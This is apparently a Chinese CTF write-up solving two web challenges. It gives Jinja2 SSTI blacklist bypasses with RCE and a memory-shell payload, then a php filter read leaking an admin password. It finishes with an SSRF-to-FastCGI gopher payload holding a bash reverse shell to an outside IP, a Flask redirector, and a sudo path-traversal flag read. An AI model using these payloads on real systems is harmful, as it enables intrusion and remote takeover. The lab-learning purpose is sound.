Ez_Gallery
前面无需多说,主要看后面SSTI
def main():
session_factory = SignedCookieSessionFactory('secret_key')
with Configurator(session_factory=session_factory) as config:
config.include('pyramid_chameleon') # 添加渲染模板
config.add_static_view(name='static', path='/app/static')
config.set_default_permission('view') # 设置默认权限为view
# 注册路由
config.add_route('root', '/')
config.add_route('captcha', '/captcha')
config.add_route('home', '/home')
config.add_route('info', '/info')
config.add_route('login', '/login')
config.add_route('shell', '/shell')
# 注册视图
config.add_view(root_view, route_name='root')
config.add_view(captcha_image_view, route_name='captcha')
config.add_view(home_view, route_name='home', renderer='home.pt', permission='view')
config.add_view(info_view, route_name='info', renderer='details.pt', permission='view')
config.add_view(login_view, route_name='login', renderer='login.pt')
config.add_view(shell_view, route_name=' shell', renderer='string', permission='view')
config.scan()
app = config.make_wsgi_app()
return app
这里注册一个shell路由,对应函数
def shell_view(request):
if request.session.get('username') != 'admin':
return Response("请先登录", status=403)
expression = request.GET.get('shellcmd', '')
blacklist_patterns = [
r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\..*', r'.*soft.*', r'.*%.*'
]
if any(re.search(pattern, expression) for pattern in blacklist_patterns):
return Response('wafwafwaf')
try:
result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
if result is not None:
return Response('success')
else:
return Response('error')
except Exception as e:
return Response('error')
result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
明显的jinja2模板注入,并且没有回显,首先是想到打内存马,首先构造初步的gadget尝试rce
通过全局对象或者全局函数获取到globals,然后找到内置的eval进行rce
.的绕过可以用[‘’]以及getattr,attr,__getitem__
{{self['__init__']['__globals__']['__builtins__']['eval']('getattr(getattr(__import__("os"),"popen")("id"),"read")()')}}
{{self|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('getattr(getattr(__import__("os"),"popen")("id"),"read")()')}}
{{self['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}
成功rce之后可以尝试内存马
查看pyramid的hook函数
https://docs.pylonsproject.org/projects/pyramid/en/1.4-branch/narr/hooks.html
官方给的payload是使用request.add_response_callback
,add_response_callback用于注册一个响应回调
即pyramid会动态处理响应对象,如果视图函数也就是源码里的那些view返回一个正常值,就会调用cache_callback,我们可以修改cache_callback为匿名函数实现注入内存马
{{self|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')("getattr(request,'add_response_callback')(lambda request,response:setattr(response,'text',getattr(getattr(__import__('os'),'popen')('/readflag'),'read')()))",{'request':request})}}
如果config是全局变量还可以使用config.add_response_adapter等其他hook函数
第二种解法是用请求头回显,通过simple_server.ServerHandler将http_version设置成目标回显
{{self['__init__']['__globals__']['__builtins__']['setattr'](self['__init__']['__globals__']['__builtins__']['__import__']('sys')['modules']['wsgiref']['simple_server']['ServerHandler'],'http_version',self['__init__']['__globals__']['__builtins__']['eval']('getattr(getattr(__import__("os"),"popen")("id"),"read")()')}}
然后盲注的话,懒得写脚本了
signal
可以二次编码打filter chain当时觉得麻烦没试,结果还真行
这里做下预期解,通过filter二次编码读取StoredAccounts.php拿到admin的登录密码admin:FetxRuFebAdm4nHace
<?php
session_start();
error_reporting(0);
if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
$_SESSION['error'] = 'Please fill in the username and password';
header("Location: index.php");
exit();
}
$url = $_POST['url'];
$error_message = '';
$page_content = '';
if (isset($url)) {
if (!preg_match('/^https:\/\//', $url)) {
$error_message = 'Invalid URL, only https allowed';
} else {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$page_content = curl_exec($ch);
if ($page_content === false) {
$error_message = 'Failed to fetch the URL content';
}
curl_close($ch);
}
}
?>
读取源码发现只可以输入https的url
可以实现SSRF跳转,题目提示是cgi,那就SSRF打fastcgi
https用cpolar不太行,用ngrok发现可以
先生产一个反弹shell的payload
root@kali2 [~/Desktop/Gopherus] git:(master) ✗ ➜ python2 gopherus.py --exploit fastcgi [13:34:09]
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: /var/www/html/admin.php
Terminal command to run: bash -c "bash -i >& /dev/tcp/101.43.121.110/4567 0>&1"
Your gopher link is ready to do SSRF:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/101.43.121.110/4567%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
然后kali启动ngrok进行内网穿透
ngrok http 4567
然后flask起一个302跳转到gopher的payload
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def indexRedirect():
redirectUrl = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/101.43.121.110/4567%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'
return redirect(redirectUrl)
if __name__ == '__main__':
app.run('0.0.0.0', port=4567, debug=True)
然后填入https,vps就能弹回shell,有sudo权限
root@VM-4-13-ubuntu:~# nc -lvnp 4567
Listening on 0.0.0.0 4567
Connection received on 125.70.243.22 36193
bash: cannot set terminal process group (9): Inappropriate ioctl for device
bash: no job control in this shell
www-data@signal-d42a5295a4b74619:~/html$
www-data@signal-d42a5295a4b74619:/$ sudo -l
sudo -l
Matching Defaults entries for www-data on signal-d42a5295a4b74619:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on signal-d42a5295a4b74619:
(root) NOPASSWD: /bin/cat /tmp/whereflag/*
简单的sudo提权,先找一下flag在哪然后cat穿越读一下就行
www-data@signal-d42a5295a4b74619:/$ sudo cat /tmp/whereflag/*
sudo cat /tmp/whereflag/*
flag{Maybe_you_should_get_permissions}
猜测flag在root目录
www-data@signal-d42a5295a4b74619:/$ sudo cat /tmp/whereflag/../../../root/flag
<74619:/$ sudo cat /tmp/whereflag/../../../root/flag
D0g3xGC{2bff4d97-fcce-4cbc-ad11-54fba96f6527}